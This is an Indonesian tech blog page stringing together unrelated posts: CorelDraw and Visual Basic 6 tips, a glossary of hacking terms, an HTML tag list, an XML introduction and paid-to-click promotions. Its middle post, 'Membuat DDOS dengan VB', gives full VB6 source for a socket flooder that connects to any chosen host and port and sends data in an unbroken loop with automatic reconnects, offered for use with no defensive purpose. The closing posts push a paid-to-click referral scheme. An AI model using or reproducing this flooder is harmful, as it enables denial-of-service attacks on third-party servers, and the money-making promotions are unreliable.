Computer Technic

Hallo Sobat CT kali ini saya akan berbagi tips untuk mempertajam/meningkatkan warna kulit vektor di coreldraw

1. Untuk Langkah pertama buatlah kotak lalu beri warna coklat ruby red, buat lagi kotak di sampingnya dengan warna sand

2. Klik pada kotak warna ruby red yang telah kita buat tadi lalu pilih tool interactive blend tool maka akan keluar tanda panah ..

3. Tarik panah tersebut dari warna ruby red ke warna sand yang telah kita buat sebelumnya liat contoh gambar di bawah ini


4 . Untuk bisa terpisah satu persatu, kita pilih beak lalu ungroup

Selesai semoga bermanfaat tips nya ...

Hallo Sobat CT beberapa dari teman saya bertanya kepada saya bagaimana cara membuat shortcut program yang telah kita buat di visual basic?
Untuk itu saya akan memberikan contoh source code nya untuk membuat shortcut pada destkop ...
Cara pembuatannya pun cukup sederhana :
1. Buat Form Baru
2. Buat 2 buah command button, rename Command1 menjadi fungsi dan Command2 caption rename jadi Create Shortcut
3. Buat 1 Listbox
4. Buat 1 Textbox
Berikut ini codingnya

Dim WShell As Object
Dim NameExe As String

Private Sub Command1_Click()
With CommonDialog1
.FileName = "*.exe"
.ShowOpen
If .FileName = "" Then Exit Sub
If Dir(.FileName) = "" Then Exit Sub
Text1 = .FileName
NameExe = Left(.FileTitle, Len(.FileTitle) - 4)
End With
End Sub

Private Sub Command2_Click()
Dim wShortcut As Object
Dim i As Integer
If Dir(Text1) = "" Or Trim(NameExe) = "" Or List1.ListCount = -1 Then
MsgBox "Error"
Else
For i = 0 To List1.ListCount - 1
Set wShortcut = WShell.CreateShortcut(List1.List(i) & "\" & NameExe & ".lnk")
wShortcut.TargetPath = Text1
wShortcut.Save
Next
MsgBox "Shortcut telah dibuat..", , "Membuat Shortcut"
End If
End Sub

Private Sub Form_Load()
Dim temp
Set WShell = CreateObject("WScript.Shell")
List1.Clear
For Each temp In WShell.SpecialFolders
If LCase(Right(temp, 17)) = "all users\desktop" Then List1.AddItem temp
Next
End Sub

Semoga bermanfaat jika ada yang perlu ditanyakan silahkan berkomentar ..

Hallo Sobat CT Apa kabar?
Kali ini saya akan membahas cara membuat program trial di visual basic ..

Untuk langkah pertama buka project yang akan sobat buat menjadi trial

Kedua masukan coding ini di form

Private Sub Form_Load()
Dim tglterakhir As Date
tglterakhir = CDate("2013-02-01")
If Date >= tglterakhir Then
    MsgBox "Masa trial sudah habis"
    End
End If
End Sub

Untuk tanggal dan pesan waktu habisnya silahkan sobat rubat sesuai keinginan sobat semua :D ..

Semoga bermanfaat

PTC memang sudah marak sekali di internet tapi banyak dari itu adalah SCAM/PENIPU, maka untuk anda yang ingin mencoba PTC sambil itung-itung nabung dollar buat jajan sehari-hari bisa dicoba nih

Membuat DDOS dengan VB 
Apa itu DDOS?
Jika belum tau apa itu DDOS klik disini untuk penjelasannya
Ok langsung mulai aja
1. Buka Visual 6, Buat Project Baru
2. Masukan Coding ini

Dim FILENAME As String, listItem As String

Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper

'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1  'Konstanta untuk menampilkan 'jendela normal

Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub

Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub

Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub

Private Sub LBLSITUS_Click()
Dim situs As Long
  'Tampilkan program default untuk membuka situs ke
  'alamat lblSitus
  situs = ShellExecute(0, vbNullString, _
          LBLSITUS, "", "", vbNormalFocus)
  LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
                               'warna
End Sub

Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub

Private Sub MNUUP_Click()
FRMUP.Show
End Sub

Private Sub SocK_Close()
 lblStatus.Caption = "Putus"
End Sub

Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub

Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub

Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
        Do
        On Error GoTo REMUK
        Sock.SendData DATA
     
        lblStatus = "Menyerang"
        lblStatus.ForeColor = &HFF00&
        LBLDATA.Caption = Sock.SocketHandle
        DoEvents
        lblSent.Caption = lblSent.Caption + 1
        Loop
REMUK:
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
        Timer2.Enabled = True

Else
       
        CMDSTOP_Click
        Timer2.Enabled = True
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub

Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub

Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
  On Error GoTo ErrH
  Dim objInterface        As CInterface
  Static lngBytesRecv     As Long
  Static lngBytesSent     As Long
  Dim lIn As Long, lOut As Long
 
  Set objInterface = m_objIpHelper.Interfaces(1)
  lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
  lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
  If lIn < 0 Then lIn = 0
  If lOut < 0 Then lOut = 0
 
  LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
  LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
  picGraph.ScaleMode = 3
  DrawUsage picGraph, lIn, lOut
  lngBytesRecv = m_objIpHelper.BytesReceived
  lngBytesSent = m_objIpHelper.BytesSent
  DoEvents
  tmrPoll.Enabled = True
Exit Sub
ErrH:
  tmrPoll.Enabled = True
  Debug.Print Err.Description
End Sub

Function GetTransferRate(pDiff As Long) As String
  Dim d As Double
 
   d = pDiff / 1024
  If d < 1024 Then
    GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
    Exit Function
  End If
 
  ' Mbytes
  d = pDiff / 1024
  GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function

Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""

On Error Resume Next
Open FILENAME For Input As #1
    Do While Not EOF(1)
        Input #1 & vbNewLine, listItem
        'If Not (listItem = "") Then
            TXTDATA.Text = listItem
        'End If
    Loop
 
Close #1

End Sub

Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub

3. Simpan dan jalankan Project
4. Semoga bermanfaat

Hacker adalah orang yang mempunyai kemampuan IT yang bisa dikatakan luar biasa mulai dari mengembangkan software, hardware dan segala tentang komputer..
Tapi apakah kalian tau istilah dalam hack itu sendiri?
Jika belum tau ini saya kasih 20 istilah dalam dunia Hack :

1). Bug
-> Kesalahan pada pemrograman yang menyebabkan sistem dapat dieksploitasi atau error dengan kondisi tertentu. Dalam web hacking, terdapat beberapa bug seperti RFI, LFI, SQLi, RCE, XSS, dll.

2). Patch
-> Perbaikan terhadap bug dengan mengupdate sistem yang memiliki vurnerable system.

3). Vurnerable
-> Sistem yang memiliki bug sehingga rentan terhadap serangan.

4). RFI
-> Penyisipan sebuah file dari luar ke dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load.

5). LFI
-> Suatu bug dimana kita bisa menginclude kan file (file yang berada didalam server yg bersangkutan) ke page yang vulnerable ( Vulnerable LFI maksudnya ).

6). SQL Injection
-> Salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server.

7). DDoS
-> Membuat suatu sistem crash & karena overload sehingga tidak bisa diakses atau mematikan service.

8). Shell
-> Inti dari sistem operasi. Shell dapat digunakan untuk mengendalikan kerja sistem operasinya.

9). Deface
-> Merubah tampilan halman suatu website secara paksa dan illegal.

10). Debug
-> Kegiatan mencari bug pada aplikasi dan memperbaiki bug yang ditemukan.

11). XSS
-> Adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client.

12). Phising
-> Adalah tindakan memperoleh informasi pribadi seperti User ID, password, PIN, nomor rekening bank, nomor kartu kredit Anda secara ilegal.

13). Keylogger
-> Adalah mesin atau software yang dipasang atau diinstal di komputer agar mencatat semua aktivitas yang terjadi pada keyboard (bekerja diam diam alias tidak terketahui oleh kita secara kasat mata)

14). Fake Login
-> Halaman tiruan/palsu yang dibuat untuk mengelabui user, bertujuan untuk mencuri informasi penting dari user (eg. username, password, email). Seperti pada kasus pencurian email n password Friendster, Facebook, dll.

15). Fake Process
-> Proses tiruan yang dibuat untuk menyembunyikan nama proses asli, bertujuan untuk mengelabui admin sistem.
Seperti mem-fake "./backdoor" menjadi "usr/sbin/httpd", sehingga ketika di "ps -ax", proses "./backdoor" berubah menjadi "usr/sbin/httpd".

16). Malicious Code/Script
-> Kode yang dibuat untuk tujuan jahat atau biasa disebut kode jahat.

17). Virus
-> Kode jahat yang sistim kerjanya seperti virus pada manusia, menggandakan diri dan seperti parasit menopang pada file yang diinfeksinya. File yang terinfeksi menjadi rusak atau ukurannya bertambah. Sekarang kode jenis ini akan sangat mudah terdeteksi pada aplikasi yang memeriksa crc32 dari dirinya.

18). Worm
-> Kode jahat yang sistim kerjanya seperti cacing, menggandakan diri dan menyebar, tidak menopang pada file. Kebanyakan di Indonesia adalah kode jenis ini.

19). Trojan
-> Kode jahat yang sistim kerjanya seperti kuda trojan pada zaman kerajaan Romawi, masuk ke dalam sistem untuk mengintip dan mencuri informasi penting yg ada didalamnya kemudian mengirimnya kepada pemilik trojan.

20). Backdoor
-> Pintu belakang untuk masuk ke sistem yang telah brhasil di exploitasi oleh attacker. Bertujuan untuk jalan masuk lagi ke sistem korban sewaktu-waktu.

Sebetulnya istilah-istilah dalam dunia hacking itu banyak, tapi hanya 20 point saja yang saya tulis disini, dan untuk istilah hacking lainnya, sobat bisa cari digoogle. Sekian postingan saya kali.

<!– –>	Memberi komentar atau keterangan. Kalimat yang terletak pada tag kontiner ini tidak akan terlihat pada browser
<a href>	Membuat link ke halaman lain atau ke bagian lain dari halaman tersebut
<a name>	Membuat nama bagian yang didefinisikan pada link pada halaman yang sama
<applet>	Sebagai awal dari Java applets
<area>	Mendefinisikan daerah yang dapat diklik (link) pada image map
<b>	Membuat teks tebal
<basefont>	Membuat atribut teks default seperti jenis, ukuran dan warna font
<bgsound>	Memberi (suara latar) background sound pada halaman web
<big>	Memperbesar ukuran teks sebesar satu point dari defaultnya
<blink>	Membuat teks berkedip
<body>	Tag awal untuk melakukan berbagai pengaturan terhadap text, warna link & visited link
<br>	Pindah baris
<caption>	Membuat caption pada tabel
<center>	Untuk perataan tengah terhadap teks atau gambar
<comment>	Meletakkan komentar pada halaman web tidak tidak akan nampak pada browser
<dd>	Indents teks
<div>	Represents different sections of text.
<embed>	Menambahkan sound or file avi ke halaman web
<fn>	Seperti tag <a name>
<font>	Mengganti jenis, ukuran, warna huruf yang akan digunakan utk teks
<form>	Mendefinisikan input form
<frame>	Mendefinisikan frame
<frameset>	Mendefinisikan attribut halaman yang akan menggunakan frame
<h1> … <h6>	Ukuran font
<head>	Mendefinisikan head document.
<hr>	Membuat garis horizontal
<html>	Bararti dokumen html
<i>	Membuat teks miring
<img>	Image, imagemap atau an animation
<input>	Mendefinisikan input field pada form
<li>	Membuat bullet point atau baris baru pada list (berpasangan dengan tag <dir>, <menu>, <ol> and <ul> )
<map>	Mendefinisikan client-side map
<marquee>	Membuat scrolling teks (teks berjalan) – hanya pada MS IE
<nobr>	Mencegah ganti baris pada teks atau images
<noframes>	Jika browser user tidak mendukung frame
<ol>	Mendefinisikan awal dan akhir list
<p>	Ganti paragraf
<pre>	Membuat teks dengan ukuran huruf yg sama
<script>	Mendefinisikan awal script
<table>	Membuat tabel
<td>	Kolom pada tabel
<title>	Mendefinisikan title
<tr>	Baris pada tabel
<u>	Membuat teks bergaris bawah

Apa itu xml?
xml adalah kepanjangan dari Extensible Markup Language, adalah jenis standar dokumen processing seperti halnya HTML yang dikontrol oleh W3C ( World Wide Web )

World Wide Web Consortium, badan organisasi yang sama yang mengontrol HTML yang selama ini dipakai oleh kita para web developer.. Pada saat ini, versi umum yang sering digunakan adalah versi 1.0 dan kabarnya W3C sedang mulai merangcang versi 2.0, yang akhirnya menimbulkan pro dan kontranya mengenai perlu atau tidaknya mengetahui fungsi apakah fungsi baru dari versi 2.0?

Untuk sejarahnya saya rasa sudah cukup untuk melihat lebih detail sejarahnya silahkan ke www.w3c.com untuk mencari informasi lebih banyak mengenai apakah xml itu?

Karena teknologi xml masih baru terutama di Indonesia sendiri, dalam arti penerapan ke situs-situs di Indonesia sangat jarang ditemukan pada saat ini..

Perlu dicatat bahwa dalam membuat dokumen xml sama halnya seperti HTML, anda bisa menggunakan notepad dan untuk para pemula saya sarannkan banyak cari referensi untuk menggunak teks editor biasa terlebih dahulu..

Ataupun anda bisa menggunakan tool-tool IDE XML , baik yang freeware ataupun komersial, dan salah satu aplikasi yang sudah terkenal adalah : XMLSpy

1. Pengenalan Struktur XML ..

Pengertian Elemen :
Sebelum berbicara lebih jauh tentang XML, anda bisa membayangkan XML itu seperti halnya dokumen web HTML, dimana didalamnya terdapat tag-tag seperti : <HTML>,<BODY>,<B> dll sebagainya..
Sebuah dokumen XML terdiri dari satu/lebih elemen.. Contoh Elemen pada xml adalah seperti ini..

<nama elemen>Pengenalan XML</nama elemen>

Penjelasan :
Sebuah elemen selalu ditandai dengan bagian pembuka dan bagian penutup.
Bagian Pembuka : Elemen selalu dibuka dengan tanda <, diikuti nama elemen, dan tanda > sebagai contoh <AKU>

Bagian Penutup : ditandai dengan tanda <, diikuti dengan tanda /, kemudian nama elemen lagi, dan diakhiri dengan tanda > sebagai contoh : </AKU>

Jadi format dalam membuat elemen adalah :
<.....>....</.....>

Perlu diingat juga, kadang kala dalam membuat elemen didalam XML, anda kemungkinan tidak perlu menyisipkan Textual Data, sehingga dengan kondisi yang seperti ini anda bisa juga mendeglarasikan sebuah elemen dengan format :
<nama elemen/>

Contoh : <Harga/>

Pengertian Atribut :

Setiap Elemen mempunyai satu, lebih atau tidak sama sekali attribut contoh seperti dibawah ini :
<TUTORIAL jenis="Tips">Pengenalan XML</TUTORIAL>

Penjelasan :
Yang dinamakan sebagai attibut diatas adalah jenis dimana attribut selalu terletak dalam bagiam pembuka elemen format attribut adalah :

nama attribute="......"

1. 2 Dokumen XML adalah Well-Formed

Terus terang saya sulit menerjemahkan istilah Well-Formed kedalam bahasa Indonesia, dan saya merasa lebih nyaman dengan tetap untuk merujuk kepada pembahasan tutorial berikut ini

Apa itu Well-Formed?

Bagi anda yang mengetahui HTML coba perhatikan contoh dibawah ini :

Contoh 1 :
<B><I>Tulisan tebal dan miring</B></I>

Contoh 2 :
<B><I>Tulisan tebal dan miring</I></B>

Perhatikan dari kedua contoh diatas dalam dokumen HTML, maka pada saat dijalankan pada Browser/Netscape, keduanya akan memberikan hasil yang sama, yaitu : Tebal dan miring, tidak ada perbedaan sama sekali ..
Perbedaan dari kedua contoh diatas adalah Contoh 1 tidak Well-Formed dan Contoh 2 Well-Formed

Bisakah anda memahami kedua contoh tersebut?
Jika kedua contoh diatas dijalankan sebagai dokumen XML, maka contoh 1 akan ada eror dan contoh 2 tidak..

Pengertian Well-Formed disini adalah : bahwa dalam setiap elemen harus dalam posisi "nested" yang benar..
Contoh diatas adalah : <B><I>.........</I></B>

Contoh lain : <Harga><Nama>Keranjang</Nama></Harga>

1. 3 Dokumen XML Case Sensitif

XML membedakan huruf besar dan huruf kecil.
Contoh yang salah :
<Nama>Buku Tulis</NAma>
<NAMA>Buku Tulis</nama>

Contoh yang benar :
<nama>Buku Tulis</nama>
<nama>Buku Tulis</naMa>

Oke sekian dulu tutorial dari saya ini semoga bermanfaat ...

Apa itu Probox?
Probox adalah PTC yang menghasilkan dollar dari setiap iklan yang disajikan, probux adalah program PTC baru yang baru launching sekitar agustus 2012..
Probux adalah PTC yang terpercaya membayar untuk anda yang kurang percaya bisa check di form probux..
Bagaimana cara kerjanya?
Kerjanya sangat mudah kita hanya mengklik iklan yang disediakan dan menunggu 30-60 detik maka dollar pun sudah diterima
Setiap Klik iklan dihargai 0.001-0.002 view iklan ..
0.001-0.01 dari setiap direct refferal & rented refferal anda..
Cashout setalah akumulasi pembayaran anda $5
Payment Processor via Paypal, Payza, Liberty reserve..
Progrid/ bonus iklan grid antara 0.1-2 dollar jika anda hoki ..



Perharinya anda akan diberi 15-25 iklan/hari, mudah bukan?
Untuk anda yang suka berburu dollar di internet cepatlah bergabung dan dapatkan dollar demi dollar dari setiap iklan yang tersaji ..

Bagaimana cara bergabung?
Anda bisa bergabung dengan cara klik  disini 
Setalah itu anda klik register dan isikan data username yang mudah untuk di ingat oleh anda
Selanjutnya ikuti langkah-langkahnya ..

Itulah cara daftarnya ...
Semoga Bermanfaat ..

Sudah mulai banyak PTC yang menawarkan bergabung dengan imbalan yang menggiurkan tapi apakah sobat CT semua tau sudah banyak PTC yang terbukti scam menurut hasil dari korban nya ..
Jika sobat CT yang mengikuti PCT dibawah ini lebih baik stop dan jangan dilanjutkan..